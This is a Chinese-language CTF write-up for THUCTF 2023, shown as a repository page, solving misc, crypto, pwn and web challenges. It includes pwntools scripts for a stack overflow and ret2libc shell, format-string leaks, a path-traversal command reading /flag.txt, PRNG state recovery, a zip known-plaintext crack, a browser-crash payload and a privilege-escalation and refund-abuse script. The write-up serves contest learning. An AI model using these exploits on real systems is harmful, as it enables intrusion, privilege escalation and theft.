-
-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy paththuctf2023-writeup.mdx
More file actions
1921 lines (1557 loc) · 65 KB
/
Copy paththuctf2023-writeup.mdx
File metadata and controls
1921 lines (1557 loc) · 65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
---
title: THUCTF2023 WriteUp
date: 2023-10-13T17:04:54+08:00
description: 我的 THUCTF2023(部分题目和 PKU GeekGame 3rd 相同)的 WriteUp。
image: thuctf2023/poster.webp
tags:
- writeup
- ctf
---
> 打 [THUCTF](https://thuctf.redbud.info/games/6/) 打的
~~什么比谁 ddl 爆得多挑战赛(~~
<Excerpt />
## Misc
### 一道难题
base64 decode `aHR0cHM6Ly9kaXNjb3JkLmdnL1RZa1RNWkZnYiBvciBRUUdyb3VwOjUzNDg0MDcxOQ==` 得到 `https://discord.gg/TYkTMZFgb or QQGroup:534840719`。
加入 Discord 得到 flag:

### 猫咪状态监视器
`/usr/sbin/service` 实际上是一个 shell 脚本,执行 `/etc/init.d` 里的服务,但可以 path traversal,使用 `service ../../bin/cat /flag.txt` 即可得到 flag。

### 麦恩·库拉夫特
根据提示,flag 附近会有钻石块。使用 [uNmINeD](https://unmined.net/) 可以直接搜索到钻石块的位置:

#### Level 1
tp 到钻石块位置即可看到:(或者也可以进入旁观模式然后通过透视来找火把)

#### Level 2
tp 到钻石块位置即可看到:

#### Level 3
tp 到钻石块位置可以看到磁带机和显示屏。显示屏的输入 / 磁带机的输出是每 4 bits 编码为红石信号的强度,可以在下图所示位置读取到:

使用 <kbd>F3+I</kbd> 可以将当前指向方块的数据复制到剪贴板,利用这个 feature 可以自动读取数据。(感觉应该有更好的方法读取数据但我不会;当然也可以直接根据磁带机的结构读存档就不用执行了,但感觉分析磁带机结构也有点麻烦(
```bash
#!/bin/bash
sleep 5
echo > flag3.log
while true; do
xdotool key F3+i
printf '%s %x\n' "$(date +%N)" "$(xsel -b -o | sed -E 's/.*power=([0-9]+).*/\1/g')" >> flag3.log
done
```
但是这样读取会有一定的误差,通过记录时间戳并过采样可以一定程度上减小误差,但光是这样难以消除到合理的水平。可以在此基础上多采样几轮,相当于进行更多次的过采样,随后可以对每轮的结果取众数。我最后是读了 12 轮,大概 11 轮可以得到完全正确的文件,稍少几轮可以得到破损但能够识别出 flag 的图片。
根据读取出的结果容易看出是一张 PNG,所以可以根据其 signature 来判断开头结尾进行分割。
```python
import codecs
from rapidfuzz import fuzz
result = []
with open('flag3.log') as log:
lasttime = -1
last = ''
total_delta = 0
for line in log:
time, x = line.split()
time = int(time)
delta = 0 if lasttime == -1 else time - lasttime
if delta < 0:
delta += 1000000000
lasttime = time
total_delta += delta
if x != last:
result.append(x)
last = x
elif len(result) + 0.5 < total_delta / 200000000:
result.append(x)
hex = ''.join(result)
png_header_pos = []
i = 0
while True:
if fuzz.ratio(hex[i:i+8], '89504e47') > 80 and fuzz.ratio(hex[i:i+8], '89504e47') >= fuzz.ratio(hex[i+1:i+9], '89504e47'):
print(str(i).rjust(5), hex[i:i+160])
png_header_pos.append(i)
i += 100
i += 1
if i > len(hex) - 10:
break
png_header_pos = png_header_pos[0:-1]
fixed_hex = []
for i in range(0, 4200):
options = []
for pos in png_header_pos:
options.append(hex[pos + i])
fixed_hex.append(max(set(options), key=options.count))
fixed_hex = ''.join(fixed_hex).split('ae426082')[0] + 'ae426082'
png = codecs.decode(fixed_hex, 'hex')
open('flag3.png', 'wb').write(png)
```
得到的 PNG 如下:

### KFC
使用 Google 搜索附件图片即可得到店名。


### 未来磁盘
#### Level 1
gzip 使用 Deflate,而 Deflate stream 由多个 block 构成,可以找到位于中央、和其他 block 长得不一样的 block,它就是包含了 flag 的 block,可以将其解压而丢弃其他 block,循环进行这个过程直到得到 flag。
解压出的东西需要进一步解压,此时可以通过枚举找到解压出的这个东西里一个 block 的开头。需要注意的是 Deflate stream 以 bit 而非 byte 为单位。数据中可能包含向前的引用,所以从中间一个 block 开始解压可能报错,可以在已经解压了开头若干 block 的基础上进行解压。总之实现起来很麻烦(,而且应该有哪不完善,不然 level 2 按理来说也能搞出来。
运行下面的代码前需要先解压一遍得到内部一层的 gz 文件。
```cpp
#include <zlib.h>
#include <cassert>
#include <cstdio>
#include <cstdlib>
#include <cstring>
using namespace std;
const int CHUNK = 1 << 28;
unsigned char in[CHUNK], out[CHUNK];
int main()
{
auto *s = new z_stream;
s->zalloc = Z_NULL;
s->zfree = Z_NULL;
s->opaque = Z_NULL;
s->avail_in = 0;
s->next_in = Z_NULL;
inflateInit2(s, -15);
FILE *input = fopen("gzip-flag1-2.gz", "rb");
fseek(input, 10, SEEK_SET);
s->avail_in = fread(in, 1, CHUNK, input);
fclose(input);
s->next_in = in;
z_stream foo;
foo.next_in = Z_NULL;
for (int round = 0; round < 2; ++round)
{
unsigned int commonHead = -1;
for (int t = 0;; ++t)
{
s->avail_out = CHUNK;
s->next_out = out;
const int ret = inflate(s, Z_BLOCK);
if (ret == Z_STREAM_END)
break;
if (ret != Z_OK)
printf("%d %d\n", t, ret);
assert(ret == Z_OK);
const int unused_bits = s->data_type & 7;
unsigned int head = s->next_in[-1] >> (8 - unused_bits);
unsigned char *nxt = s->next_in;
for (int i = 0; i < 4; ++i)
head |= nxt[i] << (i * 8 + unused_bits);
if (commonHead == -1)
commonHead = head;
else if (head != commonHead)
{
s->avail_out = CHUNK;
s->next_out = out;
assert(inflate(s, Z_BLOCK) == Z_OK);
printf("different head: %d %x %x\n", t, head, commonHead);
break;
}
if (unused_bits == 0 && foo.next_in == Z_NULL)
inflateCopy(&foo, s);
}
int len;
len = CHUNK - s->avail_out;
memcpy(in, out, len);
FILE *output = fopen("output", "wb");
fwrite(out, 1, len, output);
fclose(output);
int start = 0;
for (int offset = 0; offset < 8; ++offset)
{
for (int j = 0; j < 8000 && j < len; ++j)
{
if (j % 1000 == 0)
printf("finding start: %d %d\n", offset, j);
inflateEnd(s);
delete s;
s = new z_stream;
inflateCopy(s, &foo);
s->next_in = in + j;
s->avail_in = len - j;
s->avail_out = CHUNK;
s->next_out = out;
if (inflate(s, Z_BLOCK) != Z_OK)
continue;
if (CHUNK - s->avail_out < 10000)
continue;
s->avail_out = CHUNK;
s->next_out = out;
if (inflate(s, Z_BLOCK) != Z_OK)
continue;
if (CHUNK - s->avail_out < 10000)
continue;
printf("start: %d %d %d %llx\n", j, CHUNK - s->avail_out, offset,
*(unsigned long long *)out);
start = j;
break;
}
if (start)
break;
for (int i = 0; i < len; ++i)
in[i] = (in[i] >> 1) | ((in[i + 1] & 1) << 7);
}
if (start == 0)
exit(1);
inflateEnd(s);
inflateCopy(s, &foo);
s->next_in = in + start;
s->avail_in = len - start;
}
}
```

### Dark Room
#### Level 1
通过手玩以及查看[源码](https://github.com/tinichu316/Dark_Room),首先通关得知拿到 flag 需要 sanity 至少为 117%,这需要使用最优解通关并使用 help 命令进行一定的回复。可以将最优解记录下来然后自动尝试 help,在 sanity 足够高时自动通关获得 flag。
```python
from pwn import *
import re
count = 0
max_sanity = 0
while True:
sh = remote('chal.thuctf.redbud.info', 50630)
sh.sendlineafter(b'[...]:', b'newgame')
sh.sendlineafter(b'[...]:', b'ouuan')
sh.sendlineafter(b'(y/n)', b'y')
sh.sendlineafter(b'[ouuan]:', b'h')
sh.sendlineafter(b'[ouuan]:', b'h')
sh.sendlineafter(b'[ouuan]:', b'h')
sh.recvuntil(b'Sanity:')
sanity_line = sh.recvline().decode()
sanity = int(re.findall(r'\d+', sanity_line)[0])
count += 1
max_sanity = max(max_sanity, sanity)
print(sanity, max_sanity, count)
if sanity < 120:
sh.close()
continue
commands = '''n
n
e
pickup key
w
s
s
e
e
e
pickup trinket
use trinket
w
s
usewith key door
s
s
n
w
w
w
n
pickup key
s
e
e
e
n
n
w
w
n
n
w
w
usewith key door
n'''.split('\n')
for c in commands:
print(sh.recvuntil(b'[ouuan]:').decode())
print(c)
sh.sendline(c.encode())
sh.interactive()
break
```

#### Level 2
首先走到 FlagRoom,`getflag` 后输入非数字可以看到报错:
```python
248: while flag_number:
249: choice = int(self.recv(b"Guess my public key (give me a number): ").decode())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
250: if flag_number & 1:
251: p = getStrongPrime(2048)
252: q = getStrongPrime(2048)
253: flag_number >> 1
```
其中 `getStrongPrime` 是一个耗时很长的操作,所以可以通过时间侧信道获取到 `flag_number`。
```python
from pwn import *
import time
sh = remote('chal.thuctf.redbud.info', 52124)
sh.sendlineafter(b'[...]:', b'newgame')
sh.sendlineafter(b'[...]:', b'ouuan')
sh.sendlineafter(b'(y/n)', b'y')
commands = '''n
n
w
w
s
getflag'''.split('\n')
for c in commands:
print(sh.recvuntil(b'[ouuan]:').decode())
print(c)
sh.sendline(c.encode())
result = ""
current = 0
bit = 0
while True:
sh.sendlineafter(b"number): ", b"1")
start = time.time()
sh.recvline()
end = time.time()
if end - start > 0.5:
current = current + (1 << bit)
if bit == 7:
result = chr(current) + result
print(result)
if result.startswith("HUCTF{"):
break
current = 0
bit = 0
else:
bit += 1
sh.interactive()
```

### Huavvei Mate
#### Level 1
首先将每块的图片下载下来,进行拼图而不是真的华容道。我是手动在 GIMP 里拼的。可以参考 [QR Code Tutorial - Thonky.com](https://www.thonky.com/qr-code-tutorial/) 和 [QR code - Wikipedia](https://en.wikipedia.org/wiki/QR_code),并使用 [QRazyBox](https://merri.cx/qrazybox/) 辅助。
1. 把 finder pattern 拼出来。
2. 把 timing pattern 拼出来。
3. 把 alignment pattern 的主体部分拼上。
4. 查表得知 ECC level 为 L,mask pattern 为 3。根据 flag 格式可以得知 input mode 是 byte,开头几个字符是 `THUCTF{`,据此可以把最右边拼出来。
5. 剩下的可以逐块进行尝试,保证得到的是可见字符(而且最好有一定语义)。
最后得到二维码如下,扫码得到 flag。

### 基本功
#### Level 1
附件的文件名提示了需要使用 [bkcrack](https://github.com/kimci86/bkcrack),即使用已知的部分明文来攻击不安全的 Zip 加密方式。
根据压缩包内已知的文件名 `chromedriver_linux64.zip` 和文件大小,在 https://chromedriver.storage.googleapis.com/index.html 进行搜索,发现是 89.0.4389.23。
下载后按照 bkcrack 的说明即可破解密码得到 flag。

#### Level 2
根据 pcapng 的固定不变的文件头(参考 [PCAP Next Generation Dump File Format](https://www.winpcap.org/ntar/draft/PCAP-DumpFileFormat.html#sectionshb),也可以自己存一个和 forensics 的附件进行对比)即可得到已知明文。因为中间有一个可变的 block length,需要使用 `bkcrack` 的 `-x` 选项提供分段的明文。
`signature.pcapng`: `0a 0d 0d 0a`
```bash
bkcrack -C bkcrack_level2.zip -c flag.pcapng -P level2-known-plain.zip -p signature.pcapng -x 6 00004d3c2b1a01000000ffffffffffffffff
```

## Crypto
### easycrypto
#### Level 1
将 `cipher.txt` 输入到 https://quipqiup.com/ 即可得到 flag。

#### Level 2
通过反编译以及运行可以看出,`main` 是把 flag 按 `table.txt` 作为字母表进行 base64 编码,并在最后输出字母表的第一位(即 `A` 的密文)。
根据 level 1 可以得到一部分的密文对应关系,再根据 flag 的开头是 `THUCTF{` 可以再得到一些。剩下的可以随机尝试直到试出符合格式条件的 flag。
```python
import re
import string
import random
from base64 import b64decode
plaintext = "You are right, but The Legend of Zelda is an action-adventure game franchise created by the Japanese game designers Shigeru Miyamoto and Takashi Tezuka. It is primarily developed and published by Nintendo, although some portable installments and re-releases have been outsourced to Flagship, Vanpool, and Grezzo. The gameplay incorporates action-adventure and elements of action RPG games. THUCTF{cryptography_is_interesting} VEhVQ1RGe A"
ciphertext = "Xzi rmc mbdga, nia Agc Qcdcjy zl Ocqyr bw rj rpabzj-rytcjaimc drsc lmrjpgbwc pmcracy nx agc Erurjcwc drsc ycwbdjcmw Wgbdcmi Sbxrszaz rjy Arkrwgb Acoikr. Ba bw umbsrmbqx yctcqzucy rjy uinqbwgcy nx Jbjacjyz, rqagzidg wzsc uzmarnqc bjwarqqscjaw rjy mc-mcqcrwcw grtc nccj ziawzimpcy az Lqrdwgbu, Trjuzzq, rjy Dmcooz. Agc drscuqrx bjpzmuzmracw rpabzj-rytcjaimc rjy cqcscjaw zl rpabzj MUD drscw. AGIPAL{pmxuazdmrugx_bw_bjacmcwabjd} TCgTV1MDc R"
encoded = "TCgTV1MDc0qlSAN1S182XHSoXeM9"
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
while True:
d = {}
revd = {}
unused = set(table[:52])
for i in range(len(ciphertext)):
if plaintext[i] in string.ascii_letters:
d[plaintext[i]] = ciphertext[i]
revd[ciphertext[i]] = plaintext[i]
if ciphertext[i] in unused:
unused.remove(ciphertext[i])
new_table = {}
r = [i for i in range(52)]
random.shuffle(r)
for i in r:
if table[i] in d:
new_table[i] = d[table[i]]
else:
new_table[i] = unused.pop()
revd[new_table[i]] = table[i]
new_table = [new_table[i] for i in range(52)]
new_table = "".join(new_table) + table[52:]
encoded_decrypted = "".join([revd[x] if x in revd else x for x in encoded])
try:
flag = b64decode(encoded_decrypted).decode()
except:
continue
if re.match('THUCTF\\{[a-zA-Z0-9_]*\\}', flag):
print(flag, new_table)
```

### 小章鱼的 Cookie
#### Level 1
代码中使用了 Python 的 `random` 库,而其使用的 Mersenne Twister 算法是不安全的,基于连续 624 个 32-bit 输出就可以推测出接下来的输出,题目中正好提供了其生成的 2500 bytes,足以推测出后面的输出,再异或即可。
```python
from pwn import *
from randcrack import RandCrack
# sh = process(['python', 'cookie.py'])
sh = remote('chal.thuctf.redbud.info', 50294)
sh.sendline(b'1')
sh.recvuntil(b'void*\n')
b = bytes.fromhex(sh.recvline().strip().decode())
rc = RandCrack()
for i in range(0, 624 * 4, 4):
rc.submit(int.from_bytes(b[i:i+4], 'little'))
for i in range(624 * 4, len(b), 4):
x = rc.predict_getrandbits(32)
print(bytes([p ^ q for p, q in zip(b[i:i+4], x.to_bytes(4, 'little'))]).decode(), end='')
```

#### Level 2
阅读 Python 的 `random` 库[源码](https://github.com/python/cpython/blob/84b7e9e3fa67fb9b92088d17839d8235f1cec62e/Modules/_randommodule.c#L226-L232),可以发现 seed 会被循环使用以补足到 624 个 32-bit,所以将拿到的 seed 重复两遍发回就可以 seed 不同但生成的序列相同,然后就和 level 1 一样了。
```python
from pwn import *
from randcrack import RandCrack
# sh = process(['python', 'cookie.py'])
sh = remote('chal.thuctf.redbud.info', 50842)
sh.sendline(b'2')
sh.recvuntil(b'<')
seed = sh.recvuntil(b'>')[:-1]
sh.sendlineafter(b'>', seed * 2)
sh.recvuntil(b'void*\n')
b = bytes.fromhex(sh.recvline().strip().decode())
rc = RandCrack()
for i in range(0, 624 * 4, 4):
rc.submit(int.from_bytes(b[i:i+4], 'little'))
for i in range(624 * 4, len(b), 4):
x = rc.predict_getrandbits(32)
print(bytes([p ^ q for p, q in zip(b[i:i+4], x.to_bytes(4, 'little'))]).decode(), end='')
```

#### Level 3
这题有点..感觉应该不是 intended solution(不然无论是难度还是分类都不对(
直接把所有 curse 发回会被 `input` 在一定长度处截断导致不符。但 `zip` 返回的长度是较短一方的长度,所以只发一个 seed 即可。
```python
from pwn import *
# sh = process(['python', 'cookie.py'])
sh = remote('chal.thuctf.redbud.info', 50846)
sh.sendline(b'3')
sh.recvuntil(b'<')
curse = sh.recvuntil(b'>').split(b',')[0]
sh.sendlineafter(b'>', curse)
print(sh.recvall())
```

### Another V ME 50
运行 & 阅读代码可知,password 是 username 加盐的 sha256 的末尾,获得 flag 就是要找到 hash collision,然后按提示注册登录 buy flag 即可。
```python
from hashlib import sha256
PREFIX = b"CryptoUserInfo"
def get_token(byte: bytes):
return sha256(PREFIX + byte).digest()[-7:]
tokens = {}
for i in range(1000000000):
token = get_token(str(i).encode())
if token in tokens:
print(i, tokens[token], token.hex())
break
tokens[token] = i
```
运行得到 collision `117361489 8567312 7797a591e9c707`。

## Pwn
### 测测你的网猫

### babystack
#### Level 1
反编译发现它看似限制了输入长度,但 `get_line` 函数的实现有问题,长度输入 0 即可减法溢出而没有长度限制。
```c
void get_line(long param_1, int param_2)
{
char *__buf;
uint uVar1;
uVar1 = 0;
while (true)
{
if (param_2 - 1U <= uVar1)
{
return;
}
__buf = (char *)((ulong)uVar1 + param_1);
read(0, __buf, 1);
if (*__buf == '\n')
break;
uVar1 = uVar1 + 1;
}
*__buf = '\0';
return;
}
```
栈溢出到返回地址,返回到 `backdoor` 即可 get shell,然后 `cat /flag` 获得 flag。
```python
from pwn import *
# sh = process('./babystack')
sh = remote('chal.thuctf.redbud.info', 50395)
sh.sendlineafter(b'included!)', b'0')
payload = p64(0x4011be) * 0x10
sh.sendlineafter(b'string:', payload)
sh.interactive()
```

#### Level 2
代码中 `printf` 的 format string 可控制,从而可以泄露出 libc 的地址,然后就可以 ret2libc。
`/bin/sh`、`system`、`pop %rdi` 的地址是用 `objdump` 在 `libc.so.6` 里找到的,`offset` 以及 `%25$p` 可以运行一下试出来。
```python
from pwn import *
binsh = 0x1d8698
system = 0x508f2
poprdi = 0x2a3e5
offset = -0x29d90
# sh = process(['./ld-linux-x86-64.so.2', './childrenstack'], env={"LD_PRELOAD": "./libc.so.6"})
sh = remote('chal.thuctf.redbud.info', 52087)
sh.sendlineafter(b"(less than 0x20 characters)", b"%25$p")
sh.recvuntil(b"flag:")
libc = int(sh.recvuntil(b"What will you do").decode().split("What will you do")[0].strip(), 16) + offset
sh.sendlineafter(b"capture it?:", b'a' * 0x78 + p64(libc + poprdi) + p64(libc + binsh) + p64(libc + system))
sh.interactive()
```

#### Level 3
被 hint 拐去学了一下 format string 写,结果试了下用和 level 2 一样的做法就能过,感觉 unintended 了(
```python
from pwn import *
binsh = 0x1d8698
system = 0x508f2
poprdi = 0x2a3e5
offset = -0x29d90
# sh = process(['./ld-linux-x86-64.so.2', './teenagerstack'], env={"LD_PRELOAD": "./libc.so.6"})
sh = remote('chal.thuctf.redbud.info', 52251)
sh.sendlineafter(b"(less than 0x20 characters)", b"%21$p")
sh.recvuntil(b"flag:")
start = int(sh.recvline().decode().strip(), 16) + offset
sh.sendlineafter(b"capture it?:", b'a' * 0x78 + p64(start + poprdi) + p64(start + binsh) + p64(start + system))
sh.sendlineafter(b"again? :", b"a")
sh.interactive()
```

### 初学 C 语言
#### Level 1
代码中 `printf` 的 format string 可控制,从而可以通过 `%llx %llx %llx ... %llx` 或 `%7$llx` 读取到栈上的数据。
```python
from pwn import *
# sh = process('./pwn')
sh = remote('chal.thuctf.redbud.info', 50296)
for i in range(10, 50):
sh.sendlineafter(b'instruction:', f'llx:%{i}$llx'.encode())
sh.recvuntil(b'llx:')
line = sh.recvline().strip()
if len(line) % 2 == 1:
line = b'0' + line
line = bytes.fromhex(line.decode())
print(i, line[::-1]) # convert endian
```

## Web
### 简单的打字稿
<Card type="info" title="unintended solution">
隔壁 GeekGame 的 flag 是 `flag{.+}`,用下面的做法会因为输出含 `flag` 而“绷”,但 THUCTF 的 flag 里不含 `flag`(
</Card>
#### Level 1
触发 `flag1` 的类型错误,查看错误信息即可。
```typescript
function f(a: flag1): null {
return a;
}
```

#### Level 2
同样是触发类型错误,由于类型较为复杂,获取到内部类型需要对 TypeScript 有更多的了解。主要难点在于整个输出有长度限制。在本地查看错误信息可以发现,错误信息中包含类型以及对应的源代码那一行,所以可以从这两方面来缩短错误信息长度,一是使用名字短的类型 `any`,二是将报错的那一行缩短为只有单个字符 `(`。
```typescript
function f(c: flag2) {
if (!('prototype' in c)) return;
const v = (new c()).v();
v(
(
a: any, b: any): null => {
return null;
});
}
```

### Chrone
#### Level 1
将 query string 设得非常长,可以触发 431 Request Header Fields Too Large 错误,而在 Chrome 中,此时标签页的地址会被设为 `chrome-error://chromewebdata/`,就达到了题目要求的效果。
payload 可以是 `/note?text=i_want_flag1i_want_flag1……i_want_flag1`,加长到报错为止。

#### Level 2
根据提示,需要在这个 `chrome-error://chromewebdata` 插入 DOM 元素让整个浏览器 crash。
测试的时候可以用 Chrome 开一个 431 的标签页然后在 devtool 运行 JS。试了下发现插入 `iframe` 可以让标签页 crash 但浏览器没有 crash。再尝试修改 `src`,发现 `src` 非空时不会 crash,但如果插入时非空,插入后再修改为空,就会 crash。代码为 `e=document.createElement('iframe'); e.src='http://localhost:8000/'; document.body.append(e); e.src=''`。
最后要让 bot 执行代码,由于是多句代码,可以用 `eval` 变成一句。payload 为 `/note?js=eval(%22e%3Ddocument.createElement('iframe')%3B%20e.src%3D'http%3A%2F%2Flocalhost%3A8000%2F'%3B%20document.body.append(e)%3B%20e.src%3D''%22)&text=aaaaaaaaaa……`

### V ME 50
注册登录后可以在注释中看到 `role_change.php`,直接修改提示没有权限,但有一个 hidden field `id`,可以发现第一个注册的用户 id 是 2,第二个注册的是 3,猜测 1 是管理员,改为 1 即可成功修改权限。
然后可以购买物品以及退款。试了下发现一个用户购买的物品可以被另一个用户退款,所以多注册几个用户退款到同一个用户就有钱买 flag 了。
```python
import requests
url = "http://chal.thuctf.redbud.info:50970"
session = requests.session()
def register(username):
session.post(f"{url}/register.php", data={"username": username, "password": "1"})
def login(username):
session.post(f"{url}/login.php", data={"username": username, "password": "1"})
def changerole(username):
session.post(f"{url}/role_change.php", data={"username": username, "id": "1", "role": "1"})
def buy(id):
session.get(f"{url}/goods_api.php?method=buy&id={id}")
def refund(id):
session.get(f"{url}/refund.php?method=cancel&id={id}")
def check(id):
print(session.get(f"{url}/goods_api.php?method=check&id={id}").text)
for i in range(10):
u = str(i)
register(u)
login(u)
changerole(u)
buy(1)
buy(1)
for i in range(1, 21):
refund(i)
buy(2)
check(21)
```

### Emodle
#### Level 1
由于答案不变,相当于可以进行无限次猜测。
可以从 https://unicode.org/Public/emoji/ 下载 emoji 的 Unicode 列表,然后首先猜若干次确认哪些 emoji 出现了,然后对每个出现了的 emoji 猜一次全是这个 emoji 来确定其位置。
```python
import re
import requests
port = 50258
url = f"http://chal.thuctf.redbud.info:{port}/level1"
emojis = []
with open("emoji-sequences.txt") as seq:
for line in seq:
if len(line) < 2 or line.startswith("#"):
continue
code = line.split()[0]
if ".." in code:
l, r = code.split("..")
else:
l, r = code, code
for i in range(int(l, 16), int(r, 16) + 1):
emojis.append(chr(i))
emojis = "".join(set(emojis))
def guess(g: str):
res = requests.get(url, params={"guess": g})
m = re.findall('results\\.push\\("([🟥🟨🟩]*)"\\)', res.text)[0]
result = []
for c in m:
if c == "🟥":
result.append("r")
elif c == "🟨":
result.append("y")
else:
result.append("g")
return result
answer = ["?"] * 64
charset = set()
for i in range(0, len(emojis), 64):
res = guess(emojis[i : i + 64])
for j in range(64):
if i + j >= len(emojis):
break
if res[j] != "r":
charset.add(emojis[i + j])
for e in charset:
res = guess(e * 64)
for j in range(64):
if res[j] == "g":
answer[j] = e
print("".join(answer))
```

#### Level 2
只猜 8 次基本上不可能猜出,需要转换思路。这是一道 Web 题,所以看看它 Web 的部分。注意到它有 session 功能,通过 Cookie 实现,而 Cookie 是 JWT,payload 解码出来就包含了答案。下面是一个例子:
```
eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImxldmVsIjoiMiIsInJlbWFpbmluZ19ndWVzc2VzIjoiOCIsInRhcmdldCI6Ilx1RDgzRFx1REM3Q1x1RDgzRFx1REM3QVx1RDgzRFx1REM3OFx1RDgzRFx1REM2MFx1RDgzRFx1REM3Q1x1RDgzRFx1REM2N1x1RDgzRFx1REM1Mlx1RDgzRFx1REM1OFx1RDgzRFx1REM1NVx1RDgzRFx1REM1Rlx1RDgzRFx1REM2MFx1RDgzRFx1REM1RFx1RDgzRFx1REM4Mlx1RDgzRFx1REM0OFx1RDgzRFx1REM4Nlx1RDgzRFx1REM3OVx1RDgzRFx1REM0OFx1RDgzRFx1REM3Qlx1RDgzRFx1REM2Nlx1RDgzRFx1REM2NFx1RDgzRFx1REMzRlx1RDgzRFx1REM4OVx1RDgzRFx1REM1Q1x1RDgzRFx1REM2MVx1RDgzRFx1REM1Nlx1RDgzRFx1REM0Nlx1RDgzRFx1REM0MVx1RDgzRFx1REM2QVx1RDgzRFx1REM4OVx1RDgzRFx1REM1NVx1RDgzRFx1REM3Q1x1RDgzRFx1REM2Nlx1RDgzRFx1REM3Rlx1RDgzRFx1REM0M1x1RDgzRFx1REM0MVx1RDgzRFx1REM4N1x1RDgzRFx1REMzQlx1RDgzRFx1REM2Mlx1RDgzRFx1REM2Nlx1RDgzRFx1REM0Mlx1RDgzRFx1REM1NVx1RDgzRFx1REM1OFx1RDgzRFx1REM3QVx1RDgzRFx1REM4Mlx1RDgzRFx1REM0MVx1RDgzRFx1REM3NFx1RDgzRFx1REM1RVx1RDgzRFx1REM4NVx1RDgzRFx1REM3RVx1RDgzRFx1REM4MFx1RDgzRFx1REM0Nlx1RDgzRFx1REM3Rlx1RDgzRFx1REM1QVx1RDgzRFx1REM1Nlx1RDgzRFx1REM3Nlx1RDgzRFx1REM1Rlx1RDgzRFx1REM4NVx1RDgzRFx1REM1QVx1RDgzRFx1REM4Nlx1RDgzRFx1REM1Q1x1RDgzRFx1REM0NFx1RDgzRFx1REM4M1x1RDgzRFx1REM3OFx1RDgzRFx1REM3NSJ9LCJuYmYiOjE2OTcyNzMwODMsImlhdCI6MTY5NzI3MzA4M30.CUW8AK66IkZkgs2qmFtZaK-YcaaGvPK8QYr8cssmLV4
```
```
